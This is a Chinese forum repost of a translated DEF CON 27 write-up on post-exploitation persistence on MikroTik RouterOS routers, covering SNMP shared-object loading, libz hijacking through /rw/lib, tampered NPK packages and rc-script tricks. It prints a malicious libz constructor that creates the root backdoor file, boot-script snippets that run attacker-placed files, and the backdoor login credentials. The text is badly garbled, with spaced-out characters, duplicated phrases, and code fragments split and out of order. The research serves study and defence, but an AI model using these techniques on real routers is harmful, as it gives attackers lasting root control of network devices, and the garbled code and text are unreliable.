搜索

[14622] 2019-09-23_有关RouterOS的后渗透研究

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-18
2019-09-23_有关RouterOS的后渗透研究 有 关 R o u t e r O S 的 后 渗 透 研 究 s e c i s t   F r e e B u f   2 0 1 9 - 0 9 - 2 3 在 在 D E F   C O N   2 7 大 会 上 ， 我 提 出 了 题 为 大 会 上 ， 我 提 出 了 题 为 “ 帮 帮 我 ， 漏 洞 ！ 你 是 我 唯 一 希 望 帮 帮 我 ， 漏 洞 ！ 你 是 我 唯 一 希 望 ” 的 讨 论 。 讨 论 了 过 去 几 年 有 关 的 讨 论 。 讨 论 了 过 去 几 年 有 关 M i k r o T i k   R o u t e r O S 的 利 用 ， 并 发 布 了 一 个 用 于 帮 助 在 的 利 用 ， 并 发 布 了 一 个 用 于 帮 助 在 R o u t e r O S   3 . x 中 启 用 和 维 持 中 启 用 和 维 持 r o o t   s h e l l 访 问 的 工 具 访 问 的 工 具 C l e a n e r   W r a s s e 。 。 此 次 D E F   C O N 的 讨 论 还 介 绍 了 R o u t e r O S 过 去 和 现 在 的 后 期 利 用 技 术 。 我 大 致 将 讨 论 分 为 以 下 两 部 分 ： 1 . 攻 击 者 可 以 从 中 执 行 的 位 置 。 2 . 如 何 实 现 重 启 或 持 久 性 。 这 也 是 本 文 的 主 要 内 容 。 但 为 什 么 要 讨 论 后 期 利 用 呢 ？ 事 实 是 ， 虽 然 我 们 可 以 看 到 许 多 有 关 这 些 路 由 器 利 用 的 文 章 。 但 关 于 R o u t e r O S 后 期 利 用 的 公 开 研 究 却 很 少 或 几 乎 没 有 。 因 此 ， 我 希 望 这 篇 文 章 及 相 关 工 具 能 够 为 大 家 提 供 思 路 和 帮 助 。 R o u t e r O S 在 正 式 开 始 讨 论 后 期 利 用 之 前 ， 你 需 要 对 R o u t e r O S 的 一 般 设 计 有 所 了 解 。 就 我 们 的 目 的 而 言 ， 要 理 解 的 最 重 要 的 事 情 之 一 是 系 统 上 的 所 有 内 容 都 是 一 个 包 。 如 下 图 所 示 ， 你 可 以 看 到 我 在 h A P 上 安 装 的 所 有 软 件 包 。
甚 至 标 准 的 L i n u x - y 目 录 （ 如 / b i n / ,   / l i b / ,   / e t c / ） 都 来 自 一 个 包 。 系 统 包 被 指 定 。 包 使 用 的 文 件 格 式 为 N P K 。 K i r i l s   S o l o v j o v s 制 作 了 该 描 述 文 件 格 式 的 图 表 。 每 个 N P K 都 包 含 一 个 s q u a s h f s 部 分 。 在 启 动 时 ， s q u a s h f s 文 件 系 统 将 被 提 取 并 安 装 到 / p c k g / 目 录 中 （ 或 者 根 据 安 装 方 法 进 行 符 号 链 接 ） （ 对 于 系 统 包 来 说 ， 这 并 不 完 全 正 确 ， 但 我 们 可 以 忽 略 这 一 点 ） 。 S q u a s h f s 是 只 读 的 。 从 上 图 中 你 可 以 看 到 ， 我 无 法 t o u c h   / p c k g / d h c p / l o l 文 件 。 这 可 能 会 让 你 产 生 错 觉 认 为 整 个 系 统 都 是 只 读 的 ， 但 事 实 并 非 如 此 。 例 如 ， / p c k g / 实 际 上 是 / r a m / 中 读 写 t m p f s 空 间 的 一 部 分 。 此 外 ， 系 统 的 / f l a s h / 目 录 指 向 持 久 读 写 存 储 。 那 里 存 储 了 很 多 配 置 信 息 。 此 外 ， 只 有 持 久 存 储 用 户 可 以 访 问 ， / f l a s h / r w / d i s k / ， 在 这 个 空 间 中 被 发 现 。
虽 然 系 统 所 有 的 可 执 行 文 件 似 乎 都 位 于 只 读 空 间 中 ， 但 似 乎 存 在 一 些 攻 击 者 可 以 操 作 的 读 写 空 间 ， 包 括 t m p f s 和 p e r s i s t e n t 。 技 巧 是 弄 清 楚 如 何 使 用 该 空 间 来 实 现 和 维 持 执 行 。 另 外 一 件 重 要 的 事 情 是 ， 用 户 实 际 上 无 法 访 问 R o u t e r O S 上 真 正 的 s h e l l 。 在 上 面 的 截 图 中 ， 似 乎 我 拥 有 一 个 r o o t   s h e l l 。 但 这 仅 仅 是 因 为 我 利 用 了 路 由 器 并 启 用 了 开 发 人 员 的 后 门 。 这 实 际 上 不 太 可 能 ， 所 以 我 要 感 谢 漏 洞 的 “ 魔 力 ” 。 如 果 你 对 R o u t e r O S 中 的 开 发 人 员 后 门 并 不 熟 悉 ， 这 里 有 一 个 非 常 简 短 的 概 述 ： 自 R o u t e r O S   3 . x 以 来 ， 系 统 被 设 计 为 如 果 系 统 的 特 定 位 置 存 在 特 定 文 件 ， 则 提 供 一 个 可 通 过 t e l n e t 或 s s h 访 问 的 r o o t   b u s y b o x   s h e l l （ 该 位 置 多 年 来 已 发 生 了 改 变 ） 。 假 设 存 在 特 定 文 件 ， 则 可 以 通 过 使 用 a d m i n 用 户 和 密 码 d e v e l 的 身 份 登 录 访 问 b u s y b o x   s h e l l 。 在 以 下 视 频 中 你 可 以 看 到 ， 我 利 用 H a c k e r F a n t a s t i c 的 s e t   t r a c e f i l e 漏 洞 ， 在 R o u t e r O S   6 . 4 1 . 4 上 创 建 了 特 定 文 件 / p c k g / o p t i o n 。 该 文 件 的 存 在 使 得 后 门 访 问 成 为 可 能 。 当 我 以 d e v e l 身 份 登 录 、 然 后 删 除 文 件 并 注 销 之 后 ， 我 就 不 能 再 访 问 r o o t   s h e l l 了 。 演 示 视 频 演 示 视 频 攻 击 来 自 攻 击 来 自   S N M P   内 部 ！ 内 部 ！ s n m p 二 进 制 文 件 （ / n o v a / b i n / s n m p ） 是 系 统 包 的 一 部 分 。 但 是 ， 有 各 种 其 他 软 件 包 想 要 将 自 己 的 功 能 添 加 到 s n m p 中 。 例 如 ， d h c p 包 。 在 下 图 中 ， 你 可 以 看 到 /   p c k g / d h c p 具 有 / s n m p / 子 目 录 。
当 s n m p 二 进 制 文 件 启 动 ， 它 将 遍 历 / p c k g / 中 的 所 有 目 录 并 查 找 / n o v a / l i b / s n m p / 子 目 录 。 该 子 目 录 中 的 任 何 共 享 对 象 都 会 传 递 给 d l o p e n ( ) ， 然 后 调 用 共 享 对 象 的 a u t o r u n ( ) 。 由 于 d h c p 软 件 包 以 只 读 方 式 挂 载 的 ， 因 此 攻 击 者 无 法 修 改 已 加 载 的 共 享 对 象 。 但 是 / p c k g / 是 读 写 的 ， 因 此 攻 击 者 可 以 引 入 自 己 的 目 录 结 构 （ 例 如 / p c k g / s n m p _ x p l o i t / n o v a / l i b / s n m p / ） 。 存 储 在 那 里 的 任 何 共 享 对 象 都 将 由 s n m p 加 载 。 攻 击 者 可 以 隐 藏 在 只 读 空 间 的 进 程 中 。 但 是 当 它 与 可 以 将 文 件 写 入 磁 盘 （ 如 C V E - 2 0 1 9 - 3 9 4 3 或 C V E - 2 0 1 8 - 1 4 8 4 7 ） 的 漏 洞 结 合 使 用 时 ， 它 会 更 有 用 。 我 写 了 一 个 P o C 来 说 明 C V E - 2 0 1 9 - 3 9 4 3 的 用 例 。 实 质 上 ， 经 过 身 份 验 证 的 攻 击 者 可 以 使 用 漏 洞 的 目 录 遍 历 来 创 建 / p c k g / 目 录 结 构 。 创 建 目 录 后 ， 攻 击 者 需 要 删 除 磁 盘 上 的 共 享 对 象 。 幸 运 的 是 ， C V E - 2 0 1 9 - 3 9 4 3 也 可 以 做 到 这 一 点 。 显 然 ， 真 正 的 攻 击 者 可 以 从 共 享 对 象 执 行 任 何 操 作 ， 但 是 为 了 概 念 验 证 ， 我 直 接 从 构 造 函 数 创 建 了 6 . 4 1 + 后 门 文 件 。 P o C 甚 至 会 停 止 并 重 启 S N M P 进 程 ， 以 确 保 在 不 重 启 系 统 的 情 况 下 加 载 共 享 对 象 。
由 于 / p c k g / 位 于 t m p f s 空 间 ， 因 此 即 使 P o C 没 有 删 除 脚 本 ， 脚 本 创 建 的 目 录 结 构 也 会 在 重 启 时 被 删 除 。 与 上 面 类 似 ， 我 发 现 我 可 以 从 / f l a s h / r w / l i b 中 获 取 系 统 二 进 制 文 件 来 加 载 库 。 这 是 因 为 / r w / l i b / 是 L D _ L I B R A R Y _ P A T H 环 境 变 量 中 的 第 一 个 条 目 。 从 / r w / l i b / 加 载 库 的 好 处 在 于 ， 因 为 它 是 持 久 的 文 件 空 间 ， 共 享 对 象 将 在 重 启 后 保 持 不 变 。 唯 一 的 挑 战 是 弄 清 楚 我 们 想 要 劫 持 哪 个 库 。 显 而 易 见 的 选 择 是 l i b c . s o ， 因 为 它 可 以 保 证 在 任 何 地 方 都 能 加 载 。 但 是 R o u t e r O S 使 用 u C l i b c ， 坦 率 地 说 ， 我 不 想 处 理 它 。 谢 天 谢 地 ， 我 偶 然 发 现 了 这 个 。 / n o v a / b i n / f i l e m a n 加 载 l i b z 。 f i l e m a n 是 通 过 W i n b o x 或 W e b f i g 从 用 户 的 / r w / d i s k 目 录 进 行 读 写 操 作 的 系 统 二 进 制 文 件 。 当 用 户 导 航 到 “ F i l e s ” 界 面 时 ， 它 会 被 执 行 ， 但 在 用 户 导 航 离 开 后 ， 它 会 关 闭 ， 并 闲 置 一 分 钟 的 时 间 。 为 了 编 译 恶 意 库 ， 我 只 需 下 载 l i b z   1 . 2 . 1 1 并 将 此 构 造 函 数 添 加 到 d e f l a t e . c ： v o i d   _ _ a t t r i b u t e _ _ ( ( c o n s t r u c t o r ) )   l o l ( v o i d ) {         i n t   f o r k _ r e s u l t   =   f o r k ( ) ;         i f   ( f o r k _ r e s u l t   = =   0 )         {                 e x e c l ( " / b i n / b a s h " ,   " b a s h " ,   " - c " ,                       " m k d i r   / p c k g / o p t i o n ;   m o u n t   - o   b i n d   / b o o t /   / p c k g / o p t i o n " ,
你 可 以 再 次 看 到 ， 我 刚 刚 选 择 创 建 后 门 文 件 。 为 了 概 念 验 证 ， 我 将 新 的 l i b z . s o 交 叉 编 译 为 M I P S   b i g - e n d i a n （ 大 端 字 节 顺 序 ） ， 以 便 我 可 以 在 我 的 h A P 路 由 器 上 测 试 它 。 再 次 ， 概 念 验 证 使 用 C V E - 2 0 1 9 – 3 9 4 3 创 建 “ l i b ” 目 录 并 将 库 放 在 磁 盘 上 。 但 是 ， 与 S N M P 攻 击 不 同 ， / r w / l i b / l i b z . s o 将 在 重 启 后 继 续 运 行 ， 并 且 实 际 上 在 启 动 序 列 中 很 早 就 会 加 载 。 这 意 味 着 每 次 重 启 后 ， 后 门 文 件 都 将 在 启 动 时 被 创 建 。 签 名 验 证 签 名 验 证 存 储 在 / f l a s h / 中 的 一 个 更 有 趣 的 东 西 是 / f l a s h / v a r / p d b / 中 的 文 件 。 事 实 证 明 ， 这 是 R o u t e r O S 存 储 所 有 已 安 装 N P K 文 件 的 地 方 。 奇 怪 的 是 作 为 r o o t ， 它 们 都 是 可 写 的 。 从 我 的 经 验 可 以 告 诉 你 ， 你 肯 定 不 想 重 写 系 统 包 。                       " m k d i r   / p c k g / o p t i o n ;   m o u n t   - o   b i n d   / b o o t /   / p c k g / o p t i o n " ,                       ( c h a r   * )   0 ) ;                 e x i t ( 0 ) ;         } }
当 我 知 道 我 可 以 通 过 系 统 包 来 b r e a k 整 个 系 统 时 ， 我 有 点 好 奇 。 如 果 我 再 小 心 一 点 呢 ？ 如 果 我 只 是 重 写 包 的 s q u a s h f s 文 件 系 统 呢 ？ 会 安 装 吗 ？ 我 写 了 一 个 名 为 m o d i f y _ n p k 的 工 具 来 进 行 测 试 。 这 个 工 具 非 常 简 单 ， 它 需 要 一 个 有 效 的 M i k r o T i k   N P K （ 例 如 d u d e - 6 . 4 4 . 5 . n p k ） 和 一 个 用 户 创 建 的 s q u a s h f s 。 该 工 具 会 删 除 有 效 的 M i k r o T i k   s q u a s h f s 部 分 并 插 入 用 户 的 恶 意 s q u a s h f s 。 从 理 论 上 讲 ， m o d i f y _ n p k 只 需 要 一 个 新 的 内 部 s q u a s h f s 就 可 以 生 成 一 个 完 美 的 N P K 。 问 题 是 M i k r o T i k 在 安 装 N P K 包 时 强 制 执 行 签 名 验 证 。 如 果 你 尝 试 安 装 一 个 m o d i f y _ n p k 包 ， 那 么 R o u t e r O S 会 将 其 标 记 为 已 损 坏 并 拒 绝 它 。 请 参 阅 以 下 日 志 文 件 中 的 w r a s s e . n p k ： 我 们 不 能 让 其 他 人 在 这 些 系 统 上 安 装 任 何 他 们 想 要 的 东 西 。 但 如 果 我 们 从 我 们 自 己 的 r o o t   s h e l l 进 行 安 装 呢 ？ 理 论 上 ， 在 安 装 文 件 系 统 之 前 ， R o u t e r O S 应 始 终 对 存 储 的 N P K 执 行 签 名 检 查 ， 因 为 它 们 都 是 读 写 的 ， 对 吧 ？
在 上 图 中 ， 你 可 以 看 到 系 统 上 已 成 功 安 装 了 w r a s s e ， b a d   s i g n a t u r e 等 等 ！ 显 然 ， 这 意 味 着 我 创 建 的 s q u a s h f s 已 经 安 装 。 当 然 ， 仅 仅 安 装 s q u a s h f s 还 不 够 ， 因 为 我 创 建 的 文 件 系 统 实 际 上 包 含 一 个 r c 脚 本 ， 它 将 在 启 动 时 创 建 后 门 文 件 。
这 非 常 有 用 ， 因 为 它 会 在 重 启 后 持 续 存 在 。 虽 然 ， 用 户 可 以 通 过 使 用 “ 检 查 安 装 （ C h e c k   I n s t a l l a t i o n ） ” 功 能 来 捕 获 此 特 定 攻 击 。 M i k r o T i k 悄 无 声 息 地 修 补 了 6 . 4 2 . 1 中 的 这 个 b u g 。 之 所 以 说 是 “ 悄 无 声 息 ” ， 是 因 为 我 没 有 看 到 任 何 特 定 的 发 布 或 说 明 ， 这 表 明 他 们 决 定 在 每 次 重 启 时 强 制 执 行 签 名 验 证 。 R C   脚 本 脚 本 R o u t e r O S 使 用 r c 脚 本 在 引 导 后 启 动 进 程 ， 并 在 关 闭 期 间 清 理 某 些 进 程 。 操 作 系 统 有 一 个 传 统 的 / e t c / r c . d / r u n . d / 文 件 结 构 ， 我 们 将 讨 论 这 个 结 构 ， 但 它 也 有 （ 或 有 ） 其 他 地 方 执 行 r c 脚 本 。 / f l a s h / e t c / 如 前 所 述 ， R o u t e r O S 有 一 个 传 统 的 / e t c / 目 录 ， 但 由 于 该 目 录 是 只 读 的 ， 所 以 攻 击 者 无 法 修 改 或 引 入 脚 本 。 乍 一 看 ， 就 r c 脚 本 而 言 ， 它 似 乎 没 有 那 么 有 用 。 但 是 ， 正 如 B i g n e r d 9 5 在 他 的 C h i m a y   R e d 存 储 库 中 指 出 的 ， 你 可 以 在 / f l a s h / e t c / 中 创 建 一 个 / r c . d / r u n . d / 子 目 录 ， 其 中 存 储 的 任 何 r c 脚 本 在 启 动 和 关 闭 时 都 将 被 视 为 普 通 r c 脚 本 。 在 下 面 的 示 例 中 ， 你 可 以 看 到 我 创 建 了 / f l a s h / e t c / r c . d / r u n . d / ， 并 打 印 出 了 s 8 9 l o l 脚 本 的 位 置 。 重 启 后 ， 将 执 行 脚 本 并 创 建 开 发 人 员 后 门 。
这 种 行 为 在 6 . 4 0 . 9 之 后 被 移 除 。 然 而 ， 直 到 那 时 ， 这 是 一 个 非 常 简 单 和 方 便 的 持 久 性 机 制 。 / r w / R E S E T R o u t e r O S 在 / e t c / r c . d / r u n . d / 中 有 一 堆 脚 本 ， 但 有 两 个 我 想 特 别 拿 来 说 下 。 第 一 个 是 S 0 8 c o n f i g ， 这 是 因 为 在 6 . 4 0 . 5 中 它 包 含 了 以 下 逻 辑 ： 这 意 味 着 如 果 / r w / R E S E T 存 在 ， 则 S 0 8 c o n f i g 将 在 启 动 时 将 其 作 为 b a s h 脚 本 执 行 。 这 是 一 种 明 显 的 持 久 性 机 制 。 很 明 显 它 实 际 上 是 在 野 观 察 到 的 ： 这 个 论 坛 用 户 获 得 了 M i k r o T i k 的 调 试 包 ， 并 能 够 检 查 一 些 后 利 用 的 文 件 。 在 这 里 我 们 可 以 看 到 攻 击 者 使 用 / r w / R E S E T 来 执 行 他 们 的 / r w / i n f o 二 进 制 文 件 。 也 许 这 也 是 为 什 么 M i k r o T i k 改 变 了 S 0 8 c o n f i g 行 为 的 原 因 。 / r w / D E F C O N F 与 / r w / R E S E T 类 似 ， / r w / D E F C O N F 的 内 容 可 以 通 过 S 1 2 d e f c o n f 中 的 e v a l 语 句 执 行 。 这 是 在 6 . 4 0 . 1 中 首 次 引 入 的 ， 但 与 / r w / R E S E T 不 同 ， 这 在 6 . 4 5 . 3 中 尚 未 被 修 复 。 实 际 上 ， 这 是 C l e a n e r   W r a s s e 用 于 在 路 由 器 上 建 立 重 启 持 久 性 的 方 法 。 我 使 用 C V E - 2 0 1 9 - 3 9 4 3 编 写 了 一 个 P o C ， 以 证 明 远 程 认 证 的 攻 击 者 是 如 何 滥 用 / r w / D E F C O N F 来 实 现 后 门 并 建 立 持 久 性 的 。 e l i f   [   - f   / r w / R E S E T   ] ;   t h e n         / b i n / b a s h   / r w / R E S E T         r m   - r f   / r w / R E S E T d e f c f = $ ( c a t   / r w / D E F C O N F ) e c h o   >   / r a m / d e f c o n f - p a r a m s i f   [   - f   / n o v a / b i n / f l a s h   ] ;   t h e n         / n o v a / b i n / f l a s h   - - f e t c h - d e f c o n f - p a r a m s   / r a m / d e f c o n f - p a r a m s f i ( e v a l   $ ( c a t   / r a m / d e f c o n f - p a r a m s )   a c t i o n = a p p l y   / b i n / g o s h   " $ d e f c f " ;   c p   " $ d e f c f "   $ c o n f i r m ;   r m   / r w / D E F C O N F   / r a m / d e f c o n f - p a r a m s )   &
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理